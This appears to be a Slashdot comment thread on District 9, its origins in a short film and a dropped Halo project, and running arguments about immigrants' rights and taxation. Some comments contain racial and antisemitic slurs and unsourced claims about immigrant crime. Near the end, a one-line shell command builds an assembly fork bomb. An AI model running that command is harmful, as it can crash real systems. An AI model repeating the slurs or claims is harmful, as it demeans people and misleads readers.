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District 9 Rises From the Ashes of Halo
JohnSmedley sent in a story about what might be the last SciFi film worth caring about this summer. He writes "Wired has an interesting piece up on the upcoming District 9 release. District 9 rose from the ashes of a failed Halo movie and expands on 'Alive in Jo'Burg' which is a South African short film by Blomkamp. Both the short and full feature films expand and explore a premise in which aliens in space are treated as badly as illegal immigrants and the underclass. The story begins as a damaged alien craft lands in Africa. The foreign race is quarantined in a remote area called District 9, and from there are subjected to xenophobia, and the desire of a multi-national conglomerate to steal their technology. The film is an exploration of what would happen in terms of segregation between an alien race and humans, subjecting the stranded visitors to the very human condition of greed, fear, and exploitation. District 9 will be in theatres on August 14'th, and you can view the trailers from the viewpoint of Multi-National United."
The referenced site in the article on Wired for the trailer and the D-9 site in the article here do not work for me it seems. I found a good trailer on the site Sony made for it.
This is sure to be a movie that I am going to watch, very interesting story. It also interests me that the director is from South Africa, the way the aliens are moved to camps does seem to have some parallels with the Apartheid
Another fantastic sci-fi piece recently released is Moon, directed by one Duncan Jones. Strongly recommend it, if you can find it - it's been reasonably widely released in Britain, not sure about the US and the rest of the world.
[FUCK BETA]
At least these aliens are slightly more alien, but they're still bipedal oxygen breathers with bilateral symmetry. I look forward to the District 9 TV series, but not to the romantic relationship between Detective Matt Sikes and (what is now) a giant bug living in the apartment next door.
So.. it sounds like the premise of the Sci-Fi series 'Alient Nation'.. which was a very good series.
Am I the only one who was disappointed that Blomkamp didn't stick to the documentary-style story-telling for the movie itself?
I was rather disappointed when I saw the second trailer that looked like a regular action flick, rather than the first trailer and "Alive in JoBurg".
As a legal immigrant in the States, I can state that (although I'm paying just as much tax as anyone else) : I have no vote, no free healthcare and no constitutional rights (let alone a TV show).
But then you're obviously a troll, aren't you?
I remember a time when aliens in fiction were used as a mean to explore the intricacies of our own evolution as a species, or to reflect on our own tendencies toward self-destruction, the H-Bomb, the cold war, that sort of stuff.
When Stanislas Lem wrote Fiasco, aliens were a way to reflect on the nature of communication and its philosophical conundrums. Good stuff.
Saddening to see political correctness take over that too, and turn a potentially mind-boddling discovery into a mere pretext for bigoted post-cultural and post-racial propaganda.
They surely won't get my money for that one.
You're either not a citizen, or a troll, or uninformed. Your taxes do not pay for constitutional rights, either--they pay for the benefits that you DO reap (law enforcement, road upkeep, sewage, fire protection, emergency care even if you cannot pay, etc). Also, I'm a citizen and do not have this free healthcare I keep hearing mentioned-- it is one of my employment benefits. Are you sure that you are referring to the right country?
Yeah, we just fucking love aliens here in the US. Also, everyone who looks different from us.
sic transit gloria mundi
Green card holders pay taxes yet can't vote - something that you citizens held a tea party over a few centuries ago.
I am Slashdot. Are you Slashdot as well?
Don't let anyone tell you that you don't have constitutional rights. The Constitution does NOT only apply to citizens. Even illegal immigrants have constitutional rights.
I'm South African so yay for South Africans of all colours, shapes and broken accents, and yay for an SA director making a really interesting SF movie set in SA. It is really nice to see something that isn't shallow Hollywood crap. It might be shallow South African crap, but at least it's different and interesting shallow South African crap.
You can state, but that doesn't make you entirely correct. You do so have constitutional rights. The only constitutional rights you lack are the ones specifically granted citizens such as voting rights, or people born here, such as eligibility to be president, or a few age requirements. Everything else in there which applies to "the people" applies to you. Quoting the ACLU for examples because it's much easier than compiling myself:
"every person in the United States has the right to due process and equal protection; to criminal proceedings that afford a right to counsel, a jury trial and freedom from double jeopardy; to freedom from cruel and unusual punishment; to freedom from unreasonable searches and seizures; and to freedom of speech, religion and association."
Apparently you didn't have hyperbole in your country.
To suggest that District 9 rose from the ashes of a failed attempt at Halo is disingenuous at best. First off, yet another movie based on a video game is a bad idea anyway. District 9 is more directly an expansion of the short film which can be seen on YouTube. However, an attempt to link it to Halo is most likely a cheap advertising gimmick to get fanboys out to the cinema.
Some rights under the constitution apply to non-citizens who are there legally. FAIL.
Of course. This place is so welcoming that Africans used to come over here by the boatload.
SJW: Someone who has run out of real oppression, and has to fake it.
...not to be confused with "9", "Nine", and "9.99", all of which will also be released in '09.
I swear, it's worse than all the "Blankety Blank 2000" films we had at the start of the decade.
"subjecting the stranded visitors to the very human condition of greed, fear, and exploitation."
Considering no one has ever met an alien from another world before, I don't see how these "conditions" can be attributed to humans alone. As far as any of us know greed, fear and exploitation could be the three most common things in the universe.
What are you talking about? I'm a legal immigrant in the US and aside from the vote issue (which should not stop you from being politically active) I have all the same constitutional rights as a person born here. I am interested in knowing which specific rights you don't have?
Be gone from my sight or prepare to feel my flaming wraith!
Yes, just what we need. More "I'm a more (illegal) immigrant/minority whining.
Why is Michael Jackson the "King of Pop"? Because he kept saying he was. Why are minorities/aliens(as in immigrants not from space) always victims? Because they always say they are too. Look at Mr. Gates claims of profiling which turned out not to be true. Isn't it possible that the people crying foul about 'isms are themselves the problem?
Either way, this is just another gay attempt at social engineering through popular media.
This is an example. "Minorities aren't victims! It is so gay to say that! Those gay niggers are so retarded!"
Way to shoot yourself in the foot there.
"Also, everyone who looks different from us."
Who is "US"? Again, here's some ignorant wiener head rebel without a clue spouting off just because it's cool to rail against the system. Please define "different"? I can find people from just about any nation/culture wherever I go in the United States so who/what are these people that are so different that all Americans give them a hard time? Who are you to speak on behalf of everyone in the United States? Did you do a survey in your room of all people with an IQ of less than 2 and 100% of responders think like this?
It's funny, the whole point of your post is to say that Americans are prejudice, but the fact of the matter is that it's obvious you are the one who is prejudice since you've prejudged that attitudes of the entire country. Way to go!
The fuss back then was that British citizens were not given representation.
A Green Card holder is still a citizen of another country, and is thus denied a vote on the basis of national sovereignty.
Out of curiosity. You seem to suggest that green card holders should be afforded the right to vote (though I could be mistaken) - why? They aren't citizens, they shouldn't have full rights of a citizen. They have several paths towards becoming citizens, and rightfully so. On another note - the tea party held in the, then, colonies wasn't because those people weren't citizens and not allowed rights, it was because they WERE citizens of Britain and STILL getting crapped upon.
We citizens held a tea party a few centuries ago because we were establishing a legislation and levying taxes on ourselves for upkeep of the colonies, and then Mother Britain imposed additional tariffs on our consumables without our consent. Green card holders are not (normally) beholden to additional tariffs from their home country while here in the States, and they know coming into the situation that they need to pay taxes. They also know that when they get their citizen status then they will be given all the rights and responsibilities of the People as laid out in the US Constitution.
Except they cannot run for President at the moment, but we anticipate that that might change when Ah-nold wants to throw his hat into the ring and fulfill one of the prophesies laid out in Demolition Man.
FWIW, it took evolution millions of years to come up with a wheel. this is a very efficient way of moving intelligent beings with use of biomagnetics (repulse + attract) around a solid water crust with a nitrogen atmosphere. I'm not so sure this is a "one in hundreds" of potentially useful evolutionary ideas, but rather one in very few. That it's trilaterally symmetric comes from cellular agglomeration, and there is so far little supporting evidence that alternative mechanisms can support a three meter tall intelligent organism well
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
There's a million films out there about innocent people on death row.
The vast majority of them are fictional. Why is this?
There's a few films about immigrants being mistreated.
The majority of them are fictional. Why is this?
The answer to the first question is: Because, although it would inevitably happen that people are given the death penalty, these have all raped and murdered before. People do not get the death penalty under uncertain circumstances without a prior record. The intention of the filmmakers is often to create sympathy for death row inmates, and because knowing that the person has butchered a couple of families before might diminish the viewer's sympathy, they conveniently let this out.
Please, prove me wrong by classifying the top-20 IMDB films about death row inmates as either fictional or close to factual as reasonably possible.
The counter to this is: Is it okay for people to get the death penalty for things they didn't do, if they have done other bad things before? The counter-counter is: No, it's unfortunate, but it does not justify misrepresenting reality even if you feel it's for a good cause.
In this case, the illegal immigrants are very badly treated. In most countries, they are treated FAR better than this. How is hence this film relevant to anything at all?
Of course, you MUST include the factors that the illegal immigrants in the FILM are extremely well bbehaved (unlike e.g. Norway, where 55 out of 55 assaults with rape in the capital over the last X years were committed by immigrants according to official confirmed numbers). You must also naturally include that the illegal immigrants has a VALUABLE RESOURCE which the people who treat them badly are trying to sap and extract at their expense, rather than vica versa.
Last question: Would anyone be ABLE to create a film where things were different: the illegal immigrants were very well treated, and they exploited the people they moved to? If the answer is "no", why is this?
I'm afraid you didn't quite get the point of that tea party then. The residents of the colonies were British citizens. At that time most of them had even still been born in Britain. If they were still living in merry old England they would have been eligible to vote and hence had representation in the tax forming body. They were born in Britain, were still considered citizens of the British Empire but had apparently lost their right to vote when they moved to the colonies, part of said British Empire.
Green card holders are not US citizens. They are citizens of another country working in the US. I am not aware of any foreign country that allows non-citizens to vote in its elections. And, as already pointed out, paying taxes does not buy you constitutional rights nor citizenship. Paying taxes provides funding for the common defense and general welfare. Something Green Card holders benefit from as well as citizens.
Wow. Congratulations on winning "Historical Distortion of the Day."
Why is everybody always talking about Paris Hilton?
Actually I'm a big fan of Orwell, but after reading We from Zamiatine. I must say that Orwell, was at least "heavily inspired" (not to say an harsher word), by the much less know work of Zamiatine.
I'm sure you mean well, and I'm sure that technically non-citizens are supposed to have certain rights. But the folks at the Department of Homeland Security haven't heard of these "rights" you speak of.
No one I've ever talked to can believe how awful it is to have to deal with DHS. If you get a paranoid case worker you're just fucked. Sure you can hire a lawyer but DHS closes ranks around their own and they sit in judgement of themselves. It's a pretty deep hole to climb out of if you're a non-citizen.
I could go on but until you've had some paranoid delusional psycho bitch with a gun screaming about "putting you people on the next flight out of here" you just wouldn't believe it. Not in America, we're not like that. Land of the free, home of the brave and shit...
-- How I want a drink, alcoholic of course, after the heavy lectures involving quantum mechanics.
"...in which aliens in space are treated as badly as illegal immigrants..."
Maybe they are treated badly because they are criminals for dodging legal procedure to enter the United States and become a citizen like our family had to do.
Illegals should not receive any sort of social benefits including social security and public education. They should be deported and forced to enter the country legally.
for the rapes in Norway, I'll bet it was the goddamned Pakis for all 55.
You may be the one illegal immigrant that makes so much money that you actually pay taxes. But that would be the exception (income/payroll). Most illegals would either be working under the table, and pay ZERO! taxes. Or using a fake social security number, their income will be low enough that all payroll taxes would be refunded as tax credits.
Healthcare, if you live in California, they have county hospitals & all private emergency rooms are required to take anyone, for anything. Illegals give fake addresses, and yes, get free healthcare.
(Free as in taxpayers pay either for the county hospital or paying customers get charged more to try to keep the game afloat, or some private hospitals have had to close their emergency rooms). Yeah that's free.
Man, you guys sure are behind the times. the trailers have been out for over a month now.
Who is "US"?
My bad, I meant those who have traditionally (and until very recently, overwhelmingly) dominated American politics and the public sphere: Caucasian males.
Please define "different"?
Sure: "of darker complexion". Though I'm sure tentacles and exoskeletons would fit into that category, too.
so who/what are these people that are so different that all Americans give them a hard time?
Did I say all? You don't need all people to give someone a hard time.
Did you do a survey in your room of all people with an IQ of less than 2 and 100% of responders think like this?
Now, that's just an unrealistically low IQ score; probably wouldn't even be measurable.
but the fact of the matter is that it's obvious you are the one who is prejudice since you've prejudged that attitudes of the entire country.
I can't be prejudiced against an entire country - I could be prejudiced against individuals from a country (though I do try to avoid doing that), with a country I can only have an opinion of the currently prevailing attitudes.
And yes, based on my experience, I don't believe extraterrestrial asylum seekers would do well here.
sic transit gloria mundi
What?
In some parts of the U.S., 'lighter compelxion' would be different.
You need to get out more. The U.S. is not nearly so homogeonous as it was when I was young. And this is not a bad thing, just inevitable. We allow legal immigration on a scale much greater than most nations on Earth. Illegal immigration just tilts the statistics. And causes other problems that legal immigration does not.
deleting the extra space after periods so i can stay relevant, yeah.
The point of the tea party was: "No taxation without representation." If you don't want to give non-citizens the right to vote, that's fine. But according to the US's own core beliefs, you shouldn't be taxing them in that case.
It starts with someone prominently deciding "14th" needs an apostrophe (even though there's nothing omitted) and next thing you know people are eating candy bars with a knife and fork.
Oh, say does that Star-Spangled Banner entwine / The myrtle of Venus with Bacchus's vine?
After reading the various posts regarding this film and what it means in the context of the SciFi genre one finally gets to the meat of the meaning at the end. Meaning that last few posts have devolved to the crux of what this film is about. Who cares how it arrived there... it did and these last few posts in the forum prove that point. People are scuffling in the dirt about Racial and Genetic differences in our own race! It is ironic that a "scifi film about aliens" omg real ones could spark all this. Its fairly obvious this is the whole point. So viral marketing works as well as good ole movies about topics that are, have been and will continue to be controversial.
I for one cannot wait to see this. For entertainment, storytelling (a ancient practice) and just because I enjoy a good scifi movie.
Since you said it, who are the underclass? Are they a separate group from illegal aliens?
As for illegal immigrants, their children can attend public schools, they get free emergency health care and if they have children born here the children are full citizens. That's in the movie?
PS. Don't assume anything about my beliefs based on the questions asked, I often play Devil's advocate.
This movie is about South Africa. I know it's difficult sometimes, but try to remember that there are countries on this planet other than the United States of America.
You are wrong about that. You do have constitutional rights. It is law of the land, and it is not up to the police to determine if you are a citizen or not before deciding to violate your rights. As far as health care is concerned, it was stated that most likely legal residence, like card holders, will be included in the health reform.
People who are US citizens but cannot vote, like Peurto Ricans or convicts, are the one who should be upset. Not you!
You serious? Illegals pay taxes for sure. America has so many "creative" taxes it's impossible not to pay any tax. Sales tax for example. Granted they may not pay Income tax, and yes even if they did it would probably be refunded.
But if that outrageous you, you should get a job as a day laborer! You too can have the awesome advantage of not paying income tax and getting free emergency care, all you have to do is sacrifice you job which pays multiples of what a day laborer makes, possibly even have a company funded health program. Then you move to less luxurious accommodations like a one room shared in a house full of other day laborers with 1 bathroom, in a neighborhood that can only be described as "interesting." Hope your dental health is good, because there is no emergency dental care. And why not go all the way? Tear up your Driver's license! You can walk everywhere after all!
With this reasoning, millipedes either shouldn't exist or should have massive brains, right?
I, for one, welcome our many legged, slithering overlords!
He who has no
As a legal immigrant in the States, I can state that (although I'm paying just as much tax as anyone else) : I have no vote, no free healthcare and no constitutional rights (let alone a TV show).
A a native born American citizen I have to say that:
1. My vote doesn't count in a first past the post two party system.
2. I don't get free health care either.
3. And my constitutional rights are trampled on anyways unless I can afford a good lawyer.
But I do have plenty of TV shows!
"I am the king of the Romans, and am superior to rules of grammar!"
-Sigismund, Holy Roman Emperor (1368-1437)
First of all, the Boston Tea Party was not *just* because of 'taxation without representation', but we'll skip over that. In that case it was CITIZENS being taxed unfairly and, they felt, unconstitutionally. That situation is not comparable to the issue brought up here, as we're discussing non-citizens paying taxes. It's apples to oranges - overused but apt in this case.
This movie is about South Africa. I know it's difficult sometimes, but try to remember that there are countries on this planet other than the United States of America.
I don't know what you're talking about. I'm quite aware of The South. That's where Forrest Gump lived, and it's where televangelists are from...
Bow-ties are cool.
Sounds like a re-make of Alien Nation.. Crashed ship.. segregation.. etc.
No. Haven't you ever wondered about those old Ripley's cartoons that showed a man outrunning a horse? Haven't you ever thought through the old tales of Native Americans running down pronghorns? A creature with four legs can accelerate more quickly and run faster for a while but if you've ever seen a four-legged animal collapsed and near death in a foamy sweat from running for too long and too hard, then you'd know that four legs burns fuel faster. At a given (fairly high) percentage of max speed, four-legged animals hit the wall sooner and harder. If a horse and a good marathon runner both start a marathon, the horse will quickly sprint far ahead but the human will catch up and pass long before the race is over, especially if the horse is pushed a bit too hard in the beginning.
A biped may be slower in the short term (and also less able to bear weight, incidentally) but has huge endurance advantages.
But is four legs merely different or actually better? More specifically, which is the better mode for an *intelligent* creature?
If you're only capable of running on instinct and responding to danger by running away at max speed, then four legs is just peachy keen. But if you're intelligent, capable of planning ahead and avoiding life-or-death fight or flight problems, capable of using tools to move loads or defend against attack, and capable of harnessing four-legged creatures to do the grunt work, then being a biped is distinctly advantageous.
The tendency of SF writers to envision aliens as bipeds has never bothered me. It seems reasonably logical, certainly reasonable enough to use in works of fiction.
about as appealing as the failed to appear Halo game movie. Both strike me a perfect examples of idiots in hollywood failing to even begin to grasp their audience, and yet willing to believe they know it, and throwing good money after bad...
errr....umm...*whooosh* *whoosh* Is this thing on ?
I don't think I was trolling, but how about a Score: 5, Troll while you all are at it?
:)
Pretty please?
"As a legal immigrant in the States, I can state that (although I'm paying just as much tax as anyone else) : I have no vote, no free healthcare and no constitutional rights (let alone a TV show)."
Funny , as a legal citizen of the United States, I've felt much the same way the past 8 years.
----- In Your Cubicle No One Can Hear You Scream...
I like watching imports, mainly tragic Korean, Japanese, or Chinese films. I'm sick to death of namby-pamby-assed hero-wins/bad-guy-dies/gets caught tripe coming out of mainstream hollywood. Yeh, we can find major studios backing the occasional hero/innocent-loses//bad-guy-walks/finds redemption films, but i think or feel many are the occasional "loss risk" the big studios put money into to be "cosmo" or "hip" or "sensitive". Watch enough Korean films (never mind occasional plot holes, just step into the shoes of each character), you just might turn your back on hollywood, too.
I look forward to watching "D-9", finding "Moon", and maybe even revisiting "Alien Nation" and "V"....
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
Back at ya, : http://forum.mg.co.za/showflat.php?Cat=&Number=1802091422&page=0&view=collapsed&sb=5&o=&fpart=7&vc=1
I'm not a racist. I honestly don't care what colour you are. I'll dislike you whether you're black or white. Makes no difference to me. But there is a real problem in South Africa of laying the blame for all current problems on the evils of the Apartheid system. Granted, Apartheid is responsible for much of South Africa's problems, but Apartheid is gone. Whites are now an even smaller minority than they were under Apartheid and have very little political say in what happens in South Africa. They no longer have that much say in who does what in South Africa.
Until South Africans (and the rest of the developing world, while I'm at it) take responsibility for their problems and stop trying to look for easy cop-outs nothing will change. The fact that SA is slowly improving despite the mess that the country is in, is a testament to the fact that somebody else has realised this fact as well.
Both the short and full feature films expand and explore a premise in which aliens in space are treated as badly as illegal immigrants and the underclass.
I assume by the "treated as badly as illegal immigrants" that the poster may instead mean "treated as badly as criminals", since they are the same thing. I have less of a problem with illegal immigrants who pay taxes, buy car insurance, and don't steal identities, but the truth of the matter is that most illegal immigrants HAVE stolen identities in order to work, get a driver's license, etc.
The damages that incurs never really seems to enter into the debate.
I'd also like the poster to cite reasons why they think the "underclass" is treated so poorly.
Of course. This place is so welcoming that Africans used to come over here by the boatload.
If you rated each country purely by negative aspects of their history, you'd hate every place you come across. Point? Get over it. It's only one of many driving forces of cultural and racial segregation in this country.
U.S.A. is a larger melting pot than most when it comes to variety of nationalities, cultures, and languages. I can literally walk ten square blocks starting from where I live, and during that time I'll have come across hispanic, indian, leotion, african american, laotian, korean, and "redneck" cultures, with a number of those speaking their own languages amongst themselves... and I live in the "conservative" midwest, much less the more largely diversified cities like New York.
Caucasians still dominate, but their numbers are shrinking. Just take a look at census data over the last 30 years and you'll get a pretty clear picture of just how amazingly welcoming we are. If we weren't, we wouldn't have such high numbers of immigration (legal or otherwise).
If you aren't suspicious of your government's actions, you aren't doing your job as a responsible citizen.
It's worse than what the Jews did to the Nazis.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I am surprised that no one posted this. It is the first video and IMO the best video that I have seen from this director. Oddly, it looks even more realistic before the Youtube conversion, if you can find it.